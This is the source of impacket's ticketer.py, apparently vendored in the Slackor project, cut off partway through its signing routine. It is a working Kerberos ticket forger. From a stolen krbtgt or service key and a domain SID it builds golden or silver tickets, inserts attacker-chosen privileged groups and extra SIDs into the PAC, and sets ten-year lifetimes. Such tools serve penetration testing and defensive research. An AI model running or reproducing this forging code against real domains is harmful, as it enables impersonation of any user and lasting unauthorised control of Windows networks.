github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/ticketer.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  # Author:
     9  #  Alberto Solino (@agsolino)
    10  #
    11  # Description:
    12  #    This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC)
    13  #    allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the
    14  #    groups, extrasids, etc.
    15  #    Tickets duration is fixed to 10 years from now (although you can manually change it)
    16  #
    17  # References:
    18  #    Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash:
    19  #    (https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it)
    20  #    Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz
    21  #    (https://github.com/gentilkiwi/mimikatz)
    22  #
    23  # Examples:
    24  #         ./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
    25  #
    26  #         will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.
    27  #         If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256
    28  #         (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as
    29  #         baduser.ccache.
    30  #
    31  #         ./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN>
    32  #                       -request -user <a valid domain user> -password <valid domain user's password> baduser
    33  #
    34  #         will first authenticate against the KDC (using -user/-password) and get a TGT that will be used
    35  #         as template for customization. Whatever encryption algorithms used on that ticket will be honored,
    36  #         hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved
    37  #         as baduser.ccache.
    38  #
    39  # ToDo:
    40  # [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh
    41  # [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC
    42  #
    43  from __future__ import division
    44  from __future__ import print_function
    45  import argparse
    46  import datetime
    47  import logging
    48  import random
    49  import string
    50  import sys
    51  from calendar import timegm
    52  from time import strptime
    53  from binascii import unhexlify
    54  
    55  from pyasn1.codec.der import encoder, decoder
    56  from pyasn1.type.univ import noValue
    57  
    58  from impacket import version
    59  from impacket.dcerpc.v5.dtypes import RPC_SID
    60  from impacket.dcerpc.v5.ndr import NDRULONG
    61  from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \
    62      SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
    63  from impacket.examples import logger
    64  from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart
    65  from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \
    66      PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \
    67      KERB_NON_KERB_CKSUM_SALT
    68  from impacket.krb5.crypto import Key, _enctype_table
    69  from impacket.krb5.crypto import _checksum_table, Enctype
    70  from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
    71      PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \
    72      VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO
    73  from impacket.krb5.types import KerberosTime, Principal
    74  from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
    75  
    76  
    77  class TICKETER:
    78      def __init__(self, target, password, domain, options):
    79          self.__password = password
    80          self.__target = target
    81          self.__domain = domain
    82          self.__options = options
    83          if options.spn:
    84              spn = options.spn.split('/')
    85              self.__service = spn[0]
    86              self.__server = spn[1]
    87  
    88          # we are creating a golden ticket
    89          else:
    90              self.__service = 'krbtgt'
    91              self.__server = self.__domain
    92  
    93      @staticmethod
    94      def getFileTime(t):
    95          t *= 10000000
    96          t += 116444736000000000
    97          return t
    98  
    99      def createBasicValidationInfo(self):
   100          # 1) KERB_VALIDATION_INFO
   101          kerbdata = KERB_VALIDATION_INFO()
   102  
   103          aTime = timegm(datetime.datetime.utcnow().timetuple())
   104          unixTime = self.getFileTime(aTime)
   105  
   106          kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
   107          kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
   108  
   109          # LogoffTime: A FILETIME structure that contains the time the client's logon
   110          # session should expire. If the session should not expire, this structure
   111          # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
   112          # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
   113          # an indicator of when to warn the user that the allowed time is due to expire.
   114          kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
   115          kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
   116  
   117          # KickOffTime: A FILETIME structure that contains LogoffTime minus the user
   118          # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
   119          # client should not be logged off, this structure SHOULD have the dwHighDateTime
   120          # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
   121          # The Kerberos service ticket end time is a replacement for KickOffTime.
   122          # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
   123          # an account. A recipient of the PAC SHOULD<8> use this value as the indicator
   124          # of when the client should be forcibly disconnected.
   125          kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
   126          kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
   127  
   128          kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff
   129          kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32
   130  
   131          kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
   132          kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
   133  
   134          # PasswordMustChange: A FILETIME structure that contains the time at which
   135          # theclient's password expires. If the password will not expire, this
   136          # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
   137          # dwLowDateTime member set to 0xFFFFFFFF.
   138          kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
   139          kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
   140  
   141          kerbdata['EffectiveName'] = self.__target
   142          kerbdata['FullName'] = ''
   143          kerbdata['LogonScript'] = ''
   144          kerbdata['ProfilePath'] = ''
   145          kerbdata['HomeDirectory'] = ''
   146          kerbdata['HomeDirectoryDrive'] = ''
   147          kerbdata['LogonCount'] = 500
   148          kerbdata['BadPasswordCount'] = 0
   149          kerbdata['UserId'] = int(self.__options.user_id)
   150          kerbdata['PrimaryGroupId'] = 513
   151  
   152          # Our Golden Well-known groups! :)
   153          groups = self.__options.groups.split(',')
   154          kerbdata['GroupCount'] = len(groups)
   155  
   156          for group in groups:
   157              groupMembership = GROUP_MEMBERSHIP()
   158              groupId = NDRULONG()
   159              groupId['Data'] = int(group)
   160              groupMembership['RelativeId'] = groupId
   161              groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
   162              kerbdata['GroupIds'].append(groupMembership)
   163  
   164          kerbdata['UserFlags'] = 0
   165          kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
   166          kerbdata['LogonServer'] = ''
   167          kerbdata['LogonDomainName'] = self.__domain.upper()
   168          kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid)
   169          kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00'
   170          kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
   171          kerbdata['SubAuthStatus'] = 0
   172          kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
   173          kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
   174          kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
   175          kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
   176          kerbdata['FailedILogonCount'] = 0
   177          kerbdata['Reserved3'] = 0
   178  
   179          kerbdata['ResourceGroupDomainSid'] = NULL
   180          kerbdata['ResourceGroupCount'] = 0
   181          kerbdata['ResourceGroupIds'] = NULL
   182  
   183          validationInfo = VALIDATION_INFO()
   184          validationInfo['Data'] = kerbdata
   185  
   186          return validationInfo
   187  
   188      def createBasicPac(self, kdcRep):
   189          validationInfo = self.createBasicValidationInfo()
   190          pacInfos = {}
   191          pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents()
   192          srvCheckSum = PAC_SIGNATURE_DATA()
   193          privCheckSum = PAC_SIGNATURE_DATA()
   194  
   195          if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value:
   196              srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
   197              privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
   198              srvCheckSum['Signature'] = b'\x00' * 16
   199              privCheckSum['Signature'] = b'\x00' * 16
   200          else:
   201              srvCheckSum['Signature'] = b'\x00' * 12
   202              privCheckSum['Signature'] = b'\x00' * 12
   203              if len(self.__options.aesKey) == 64:
   204                  srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
   205                  privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
   206              else:
   207                  srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
   208                  privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
   209  
   210          pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData()
   211          pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData()
   212  
   213          clientInfo = PAC_CLIENT_INFO()
   214          clientInfo['Name'] = self.__target.encode('utf-16le')
   215          clientInfo['NameLength'] = len(clientInfo['Name'])
   216          pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData()
   217  
   218          return pacInfos
   219  
   220      def createBasicTicket(self):
   221          if self.__options.request is True:
   222              if self.__domain == self.__server:
   223                  logging.info('Requesting TGT to target domain to use as basis')
   224              else:
   225                  logging.info('Requesting TGT/TGS to target domain to use as basis')
   226  
   227              if self.__options.hashes is not None:
   228                  lmhash, nthash = self.__options.hashes.split(':')
   229              else:
   230                  lmhash = ''
   231                  nthash = ''
   232              userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value)
   233              tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
   234                                                                      unhexlify(lmhash), unhexlify(nthash), None,
   235                                                                      self.__options.dc_ip)
   236              if self.__domain == self.__server:
   237                  kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
   238              else:
   239                  serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value)
   240                  tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher,
   241                                                                          sessionKey)
   242                  kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
   243  
   244              # Let's check we have all the necessary data based on the ciphers used. Boring checks
   245              ticketCipher = int(kdcRep['ticket']['enc-part']['etype'])
   246              encPartCipher = int(kdcRep['enc-part']['etype'])
   247  
   248              if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \
   249                              self.__options.nthash is None:
   250                  logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. '
   251                                   'Can\'t continue ( or try running again w/o the -request option)')
   252                  return None, None
   253  
   254              if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
   255                  encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
   256                  self.__options.aesKey is None:
   257                  logging.critical(
   258                      'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
   259                      'Can\'t continue (or try running again w/o the -request option)')
   260                  return None, None
   261  
   262              if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
   263                  encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
   264                  self.__options.aesKey is not None and len(self.__options.aesKey) > 32:
   265                  logging.critical(
   266                      'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. '
   267                      'Can\'t continue (or try running again w/o the -request option)')
   268                  return None, None
   269  
   270              if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
   271                   encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None:
   272                  logging.critical(
   273                      'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
   274                      'Can\'t continue (or try running again w/o the -request option)')
   275                  return None, None
   276  
   277              if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
   278                   encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \
   279                   self.__options.aesKey is not None and len(self.__options.aesKey) < 64:
   280                  logging.critical(
   281                      'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. '
   282                      'Can\'t continue')
   283                  return None, None
   284              kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
   285              kdcRep['cname']['name-string'] = noValue
   286              kdcRep['cname']['name-string'][0] = self.__target
   287  
   288          else:
   289              logging.info('Creating basic skeleton ticket and PAC Infos')
   290              if self.__domain == self.__server:
   291                  kdcRep = AS_REP()
   292                  kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value
   293              else:
   294                  kdcRep = TGS_REP()
   295                  kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value
   296              kdcRep['pvno'] = 5
   297              if self.__options.nthash is None:
   298                  kdcRep['padata'] = noValue
   299                  kdcRep['padata'][0] = noValue
   300                  kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value
   301  
   302                  etype2 = ETYPE_INFO2()
   303                  etype2[0] = noValue
   304                  if len(self.__options.aesKey) == 64:
   305                      etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
   306                  else:
   307                      etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
   308                  etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target)
   309                  encodedEtype2 = encoder.encode(etype2)
   310  
   311                  kdcRep['padata'][0]['padata-value'] = encodedEtype2
   312  
   313              kdcRep['crealm'] = self.__domain.upper()
   314              kdcRep['cname'] = noValue
   315              kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
   316              kdcRep['cname']['name-string'] = noValue
   317              kdcRep['cname']['name-string'][0] = self.__target
   318  
   319              kdcRep['ticket'] = noValue
   320              kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value
   321              kdcRep['ticket']['realm'] = self.__domain.upper()
   322              kdcRep['ticket']['sname'] = noValue
   323              kdcRep['ticket']['sname']['name-string'] = noValue
   324              kdcRep['ticket']['sname']['name-string'][0] = self.__service
   325  
   326              if self.__domain == self.__server:
   327                  kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
   328                  kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper()
   329              else:
   330                  kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
   331                  kdcRep['ticket']['sname']['name-string'][1] = self.__server
   332  
   333              kdcRep['ticket']['enc-part'] = noValue
   334              kdcRep['ticket']['enc-part']['kvno'] = 2
   335              kdcRep['enc-part'] = noValue
   336              if self.__options.nthash is None:
   337                  if len(self.__options.aesKey) == 64:
   338                      kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
   339                      kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
   340                  else:
   341                      kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
   342                      kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
   343              else:
   344                  kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
   345                  kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
   346  
   347              kdcRep['enc-part']['kvno'] = 2
   348              kdcRep['enc-part']['cipher'] = noValue
   349  
   350          pacInfos = self.createBasicPac(kdcRep)
   351  
   352          return kdcRep, pacInfos
   353  
   354      def customizeTicket(self, kdcRep, pacInfos):
   355          logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target))
   356          encTicketPart = EncTicketPart()
   357  
   358          flags = list()
   359          flags.append(TicketFlags.forwardable.value)
   360          flags.append(TicketFlags.proxiable.value)
   361          flags.append(TicketFlags.renewable.value)
   362          if self.__domain == self.__server: 
   363              flags.append(TicketFlags.initial.value)
   364          flags.append(TicketFlags.pre_authent.value)
   365          encTicketPart['flags'] = encodeFlags(flags)
   366          encTicketPart['key'] = noValue
   367          encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
   368  
   369          if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
   370              encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
   371          elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
   372              encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])
   373          else:
   374              encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
   375  
   376          encTicketPart['crealm'] = self.__domain.upper()
   377          encTicketPart['cname'] = noValue
   378          encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
   379          encTicketPart['cname']['name-string'] = noValue
   380          encTicketPart['cname']['name-string'][0] = self.__target
   381  
   382          encTicketPart['transited'] = noValue
   383          encTicketPart['transited']['tr-type'] = 0
   384          encTicketPart['transited']['contents'] = ''
   385  
   386          encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
   387          encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
   388          # Let's extend the ticket's validity a lil bit
   389          ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration))
   390          encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
   391          encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
   392          encTicketPart['authorization-data'] = noValue
   393          encTicketPart['authorization-data'][0] = noValue
   394          encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
   395          encTicketPart['authorization-data'][0]['ad-data'] = noValue
   396  
   397          # Let's locate the KERB_VALIDATION_INFO and Checksums
   398          if PAC_LOGON_INFO in pacInfos:
   399              data = pacInfos[PAC_LOGON_INFO]
   400              validationInfo = VALIDATION_INFO()
   401              validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
   402              lenVal = len(validationInfo.getData())
   403              validationInfo.fromStringReferents(data[lenVal:], lenVal)
   404  
   405              aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))
   406  
   407              unixTime = self.getFileTime(aTime)
   408  
   409              kerbdata = KERB_VALIDATION_INFO()
   410  
   411              kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
   412              kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
   413  
   414              # Let's adjust username and other data
   415              validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
   416              validationInfo['Data']['EffectiveName'] = self.__target
   417              # Our Golden Well-known groups! :)
   418              groups = self.__options.groups.split(',')
   419              validationInfo['Data']['GroupIds'] = list()
   420              validationInfo['Data']['GroupCount'] = len(groups)
   421  
   422              for group in groups:
   423                  groupMembership = GROUP_MEMBERSHIP()
   424                  groupId = NDRULONG()
   425                  groupId['Data'] = int(group)
   426                  groupMembership['RelativeId'] = groupId
   427                  groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
   428                  validationInfo['Data']['GroupIds'].append(groupMembership)
   429  
   430              # Let's add the extraSid
   431              if self.__options.extra_sid is not None:
   432                  extrasids = self.__options.extra_sid.split(',')
   433                  if validationInfo['Data']['SidCount'] == 0:
   434                      # Let's be sure user's flag specify we have extra sids.
   435                      validationInfo['Data']['UserFlags'] |= 0x20
   436                      validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
   437                  for extrasid in extrasids:
   438                      validationInfo['Data']['SidCount'] += 1
   439  
   440                      sidRecord = KERB_SID_AND_ATTRIBUTES()
   441  
   442                      sid = RPC_SID()
   443                      sid.fromCanonical(extrasid)
   444  
   445                      sidRecord['Sid'] = sid
   446                      sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
   447  
   448                      # And, let's append the magicSid
   449                      validationInfo['Data']['ExtraSids'].append(sidRecord)
   450              else:
   451                  validationInfo['Data']['ExtraSids'] = NULL
   452  
   453              validationInfoBlob  = validationInfo.getData() + validationInfo.getDataReferents()
   454              pacInfos[PAC_LOGON_INFO] = validationInfoBlob
   455  
   456              if logging.getLogger().level == logging.DEBUG:
   457                  logging.debug('VALIDATION_INFO after making it gold')
   458                  validationInfo.dump()
   459                  print ('\n')
   460          else:
   461              raise Exception('PAC_LOGON_INFO not found! Aborting')
   462  
   463          logging.info('\tPAC_LOGON_INFO')
   464  
   465          # Let's now clear the checksums
   466          if PAC_SERVER_CHECKSUM in pacInfos:
   467              serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
   468              if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
   469                  serverChecksum['Signature'] = '\x00' * 12
   470              elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
   471                  serverChecksum['Signature'] = '\x00' * 12
   472              else:
   473                  serverChecksum['Signature'] = '\x00' * 16
   474              pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()
   475          else:
   476              raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
   477  
   478          if PAC_PRIVSVR_CHECKSUM in pacInfos:
   479              privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
   480              privSvrChecksum['Signature'] = '\x00' * 12
   481              if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
   482                  privSvrChecksum['Signature'] = '\x00' * 12
   483              elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
   484                  privSvrChecksum['Signature'] = '\x00' * 12
   485              else:
   486                  privSvrChecksum['Signature'] = '\x00' * 16
   487              pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()
   488          else:
   489              raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
   490  
   491          if PAC_CLIENT_INFO_TYPE in pacInfos:
   492              pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])
   493              pacClientInfo['ClientId'] = unixTime
   494              pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()
   495          else:
   496              raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
   497  
   498          logging.info('\tPAC_CLIENT_INFO_TYPE')
   499          logging.info('\tEncTicketPart')
   500  
   501          if self.__domain == self.__server:
   502              encRepPart = EncASRepPart()
   503          else:
   504              encRepPart = EncTGSRepPart()
   505  
   506          encRepPart['key'] = noValue
   507          encRepPart['key']['keytype'] = encTicketPart['key']['keytype']
   508          encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']
   509          encRepPart['last-req'] = noValue
   510          encRepPart['last-req'][0] = noValue
   511          encRepPart['last-req'][0]['lr-type'] = 0
   512          encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
   513          encRepPart['nonce'] = 123456789
   514          encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)
   515          encRepPart['flags'] = encodeFlags(flags)
   516          encRepPart['authtime'] = str(encTicketPart['authtime'])
   517          encRepPart['endtime'] = str(encTicketPart['endtime'])
   518          encRepPart['starttime'] = str(encTicketPart['starttime'])
   519          encRepPart['renew-till'] = str(encTicketPart['renew-till'])
   520          encRepPart['srealm'] = self.__domain.upper()
   521          encRepPart['sname'] = noValue
   522          encRepPart['sname']['name-string'] = noValue
   523          encRepPart['sname']['name-string'][0] = self.__service
   524  
   525          if self.__domain == self.__server:
   526              encRepPart['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
   527              encRepPart['sname']['name-string'][1] = self.__domain.upper()
   528              logging.info('\tEncAsRepPart')
   529          else:
   530              encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
   531              encRepPart['sname']['name-string'][1] = self.__server
   532              logging.info('\tEncTGSRepPart')
   533  
   534          return encRepPart, encTicketPart, pacInfos
   535  
   536      def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos):
   537          logging.info('Signing/Encrypting final ticket')
   538  
   539          # We changed everything we needed to make us special. Now let's repack and calculate checksums
   540          validationInfoBlob = pacInfos[PAC_LOGON_INFO]
   541          validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
   542  
   543          pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
   544          pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
   545  
   546          serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
   547          serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM]
   548          serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
   549  
   550          privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
   551          privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM]
   552          privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))
   553  
   554          # The offset are set from the beginning of the PAC_TYPE
   555          # [MS-PAC] 2.4 PAC_INFO_BUFFER
   556          offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4
   557  
   558          # Let's build the PAC_INFO_BUFFER for each one of the elements
   559          validationInfoIB = PAC_INFO_BUFFER()
   560          validationInfoIB['ulType'] = PAC_LOGON_INFO
   561          validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
   562          validationInfoIB['Offset'] = offsetData
   563          offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8
   564  
   565          pacClientInfoIB = PAC_INFO_BUFFER()
   566          pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
   567          pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
   568          pacClientInfoIB['Offset'] = offsetData
   569          offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8
   570  
   571          serverChecksumIB = PAC_INFO_BUFFER()
   572          serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
   573          serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
   574          serverChecksumIB['Offset'] = offsetData
   575          offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8
   576  
   577          privSvrChecksumIB = PAC_INFO_BUFFER()
   578          privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
   579          privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
   580          privSvrChecksumIB['Offset'] = offsetData
   581          # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8
   582  
   583          # Building the PAC_TYPE as specified in [MS-PAC]
   584          buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
   585              privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
   586              pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment
   587          buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
   588  
   589          pacType = PACTYPE()
   590          pacType['cBuffers'] = 4
   591          pacType['Version'] = 0
   592          pacType['Buffers'] = buffers + buffersTail
   593  
   594          blobToChecksum = pacType.getData()
   595  
   596          checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]
   597          if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
   598              keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
   599          elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
   600              keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
   601          elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
